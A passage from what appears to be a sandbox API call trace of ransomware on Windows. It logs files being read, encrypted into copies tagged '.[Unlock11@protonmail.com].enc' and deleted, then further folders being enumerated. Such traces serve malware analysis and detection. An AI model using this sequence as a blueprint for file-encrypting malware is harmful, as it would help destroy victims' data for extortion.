(in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.909] GetLastError () returned 0x0 [0114.909] GetCurrentThreadId () returned 0x9b0 [0114.909] GetLastError () returned 0x0 [0114.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b78 | out: hHeap=0x2ad0000) returned 1 [0114.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0114.910] GetLastError () returned 0x0 [0114.910] GetLastError () returned 0x0 [0114.910] GetLastError () returned 0x0 [0114.910] GetLastError () returned 0x0 [0114.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0114.910] GetLastError () returned 0x0 [0114.910] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.911] GetFileType (hFile=0x3ac) returned 0x1 [0114.911] GetLastError () returned 0x0 [0114.911] GetCurrentThreadId () returned 0x9b0 [0114.911] GetLastError () returned 0x0 [0114.911] GetFileType (hFile=0x3ac) returned 0x1 [0114.911] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.911] GetLastError () returned 0x0 [0114.912] GetCurrentThreadId () returned 0x9b0 [0114.912] GetLastError () returned 0x0 [0114.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0114.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0114.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0114.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.912] GetLastError () returned 0x0 [0114.912] GetLastError () returned 0x0 [0114.912] GetCurrentThreadId () returned 0x9b0 [0114.912] GetLastError () returned 0x0 [0114.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.913] GetLastError () returned 0x0 [0114.913] GetLastError () returned 0x0 [0114.913] GetCurrentThreadId () returned 0x9b0 [0114.913] GetLastError () returned 0x0 [0114.913] GetLastError () returned 0x0 [0114.914] GetLastError () returned 0x0 [0114.915] GetCurrentThreadId () returned 0x9b0 [0114.915] GetLastError () returned 0x0 [0114.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a18 | out: hHeap=0x2ad0000) returned 1 [0114.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.915] GetCurrentThreadId () returned 0x9b0 [0114.915] GetLastError () returned 0x0 [0114.916] GetLastError () returned 0x0 [0114.916] GetLastError () returned 0x0 [0114.916] GetLastError () returned 0x0 [0114.916] GetCurrentThreadId () returned 0x9b0 [0114.916] GetLastError () returned 0x0 [0114.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0114.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.916] GetLastError () returned 0x0 [0114.918] GetLastError () returned 0x0 [0114.918] GetCurrentThreadId () returned 0x9b0 [0114.918] GetLastError () returned 0x0 [0114.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.919] GetLastError () returned 0x0 [0114.919] GetLastError () returned 0x0 [0114.919] GetCurrentThreadId () returned 0x9b0 [0114.919] GetLastError () returned 0x0 [0114.919] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x6c97) returned 0x36f8548 [0114.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.919] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x6ca5) returned 0x36f8548 [0114.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b08 [0114.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0114.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6ca8) returned 0x3887a10 [0114.919] GetCurrentThreadId () returned 0x9b0 [0114.920] GetLastError () returned 0x0 [0114.920] GetLastError () returned 0x0 [0114.920] GetLastError () returned 0x0 [0114.920] GetLastError () returned 0x0 [0114.920] GetCurrentThreadId () returned 0x9b0 [0114.920] GetLastError () returned 0x0 [0114.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.920] GetLastError () returned 0x0 [0114.921] GetLastError () returned 0x0 [0114.921] GetCurrentThreadId () returned 0x9b0 [0114.921] GetLastError () returned 0x0 [0114.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0114.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.921] GetLastError () returned 0x0 [0114.921] GetLastError () returned 0x0 [0114.921] GetCurrentThreadId () returned 0x9b0 [0114.922] GetLastError () returned 0x0 [0114.922] CloseHandle (hObject=0x3ac) returned 1 [0114.922] GetCurrentThreadId () returned 0x9b0 [0114.922] GetLastError () returned 0x0 [0114.922] CloseHandle (hObject=0x39c) returned 1 [0114.922] GetCurrentThreadId () returned 0x9b0 [0114.922] GetLastError () returned 0x0 [0114.922] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0114.924] GetLastError () returned 0x0 [0114.924] GetCurrentThreadId () returned 0x9b0 [0114.924] GetLastError () returned 0x0 [0114.924] GetCurrentThreadId () returned 0x9b0 [0114.924] GetLastError () returned 0x0 [0114.924] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x9bada4*="UiInfo.xml") returned 0x29 [0114.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] GetLastError () returned 0x0 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] GetLastError () returned 0x0 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] GetLastError () returned 0x0 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.925] GetLastError () returned 0x0 [0114.925] GetCurrentThreadId () returned 0x9b0 [0114.926] GetLastError () returned 0x0 [0114.926] GetCurrentThreadId () returned 0x9b0 [0114.926] GetLastError () returned 0x0 [0114.926] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a)) returned 1 [0114.926] GetLastError () returned 0x0 [0114.926] GetCurrentThreadId () returned 0x9b0 [0114.926] GetLastError () returned 0x0 [0114.926] GetCurrentThreadId () returned 0x9b0 [0114.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0114.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.926] GetCurrentThreadId () returned 0x9b0 [0114.927] GetCurrentThreadId () returned 0x9b0 [0114.927] GetLastError () returned 0x0 [0114.927] GetCurrentThreadId () returned 0x9b0 [0114.927] GetLastError () returned 0x0 [0114.927] GetCurrentThreadId () returned 0x9b0 [0114.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6aa8 [0114.927] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.927] GetFileType (hFile=0x39c) returned 0x1 [0114.927] GetCurrentThreadId () returned 0x9b0 [0114.927] GetLastError () returned 0x0 [0114.928] GetFileType (hFile=0x39c) returned 0x1 [0114.928] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.928] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.928] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.928] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.928] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.928] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.928] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.928] GetLastError () returned 0x0 [0114.928] GetCurrentThreadId () returned 0x9b0 [0114.928] GetLastError () returned 0x0 [0114.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0114.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.929] GetLastError () returned 0x0 [0114.929] GetLastError () returned 0x0 [0114.929] GetLastError () returned 0x0 [0114.929] GetLastError () returned 0x0 [0114.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0114.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6af8 [0114.929] GetLastError () returned 0x0 [0114.929] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.929] GetFileType (hFile=0x3ac) returned 0x1 [0114.930] GetLastError () returned 0x0 [0114.930] GetCurrentThreadId () returned 0x9b0 [0114.930] GetLastError () returned 0x0 [0114.930] GetFileType (hFile=0x3ac) returned 0x1 [0114.930] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.930] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.930] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.930] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.930] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.930] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.930] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.930] GetLastError () returned 0x0 [0114.930] GetCurrentThreadId () returned 0x9b0 [0114.930] GetLastError () returned 0x0 [0114.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6af8 | out: hHeap=0x2ad0000) returned 1 [0114.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0114.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0114.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.931] GetLastError () returned 0x0 [0114.931] GetLastError () returned 0x0 [0114.931] GetCurrentThreadId () returned 0x9b0 [0114.931] GetLastError () returned 0x0 [0114.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.931] GetLastError () returned 0x0 [0114.931] GetLastError () returned 0x0 [0114.931] GetCurrentThreadId () returned 0x9b0 [0114.932] GetLastError () returned 0x0 [0114.932] GetLastError () returned 0x0 [0114.933] GetLastError () returned 0x0 [0114.933] GetCurrentThreadId () returned 0x9b0 [0114.933] GetLastError () returned 0x0 [0114.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x989f) returned 0x35c5908 [0114.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x98a5) returned 0x35c5908 [0114.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b38 [0114.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0114.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x98a8) returned 0x3887a10 [0114.934] GetCurrentThreadId () returned 0x9b0 [0114.934] GetLastError () returned 0x0 [0114.934] GetLastError () returned 0x0 [0114.934] GetLastError () returned 0x0 [0114.934] GetLastError () returned 0x0 [0114.934] GetCurrentThreadId () returned 0x9b0 [0114.934] GetLastError () returned 0x0 [0114.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0114.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.935] GetLastError () returned 0x0 [0114.936] GetLastError () returned 0x0 [0114.936] GetCurrentThreadId () returned 0x9b0 [0114.936] GetLastError () returned 0x0 [0114.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0114.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.936] GetLastError () returned 0x0 [0114.937] GetLastError () returned 0x0 [0114.937] GetCurrentThreadId () returned 0x9b0 [0114.937] GetLastError () returned 0x0 [0114.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.937] GetLastError () returned 0x0 [0114.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.937] CloseHandle (hObject=0x3ac) returned 1 [0114.938] GetLastError () returned 0x0 [0114.938] GetCurrentThreadId () returned 0x9b0 [0114.938] GetLastError () returned 0x0 [0114.938] GetLastError () returned 0x0 [0114.938] CloseHandle (hObject=0x39c) returned 1 [0114.938] GetLastError () returned 0x0 [0114.939] GetCurrentThreadId () returned 0x9b0 [0114.939] GetLastError () returned 0x0 [0114.939] GetLastError () returned 0x0 [0114.939] GetLastError () returned 0x0 [0114.939] GetLastError () returned 0x0 [0114.939] GetLastError () returned 0x0 [0114.939] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0114.940] GetLastError () returned 0x0 [0114.940] GetCurrentThreadId () returned 0x9b0 [0114.940] GetLastError () returned 0x0 [0114.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.941] GetCurrentThreadId () returned 0x9b0 [0114.941] GetLastError () returned 0x0 [0114.941] GetLastError () returned 0x0 [0114.941] GetLastError () returned 0x0 [0114.941] GetLastError () returned 0x0 [0114.941] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0114.942] GetLastError () returned 0x0 [0114.942] GetCurrentThreadId () returned 0x9b0 [0114.943] GetLastError () returned 0x0 [0114.943] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.943] GetLastError () returned 0x0 [0114.943] GetCurrentThreadId () returned 0x9b0 [0114.943] GetLastError () returned 0x0 [0114.943] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0114.943] GetLastError () returned 0x0 [0114.943] GetCurrentThreadId () returned 0x9b0 [0114.943] GetLastError () returned 0x0 [0114.943] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0114.943] GetLastError () returned 0x0 [0114.943] GetCurrentThreadId () returned 0x9b0 [0114.943] GetLastError () returned 0x0 [0114.944] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0114.944] GetLastError () returned 0x0 [0114.944] GetCurrentThreadId () returned 0x9b0 [0114.944] GetLastError () returned 0x0 [0114.944] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0114.944] GetLastError () returned 0x0 [0114.944] GetCurrentThreadId () returned 0x9b0 [0114.944] GetLastError () returned 0x0 [0114.944] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0114.944] GetLastError () returned 0x0 [0114.944] GetCurrentThreadId () returned 0x9b0 [0114.944] GetLastError () returned 0x0 [0114.944] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x382cf20 [0114.945] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0114.945] GetLastError () returned 0x0 [0114.945] GetCurrentThreadId () returned 0x9b0 [0114.945] GetLastError () returned 0x0 [0114.945] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0114.945] GetLastError () returned 0x0 [0114.945] GetCurrentThreadId () returned 0x9b0 [0114.945] GetLastError () returned 0x0 [0114.945] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0114.945] GetLastError () returned 0x0 [0114.945] GetCurrentThreadId () returned 0x9b0 [0114.945] GetLastError () returned 0x0 [0114.945] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0114.945] GetLastError () returned 0x0 [0114.946] GetCurrentThreadId () returned 0x9b0 [0114.946] GetLastError () returned 0x0 [0114.946] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x382cf20, Size=0x40) returned 0x38877b8 [0114.946] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, 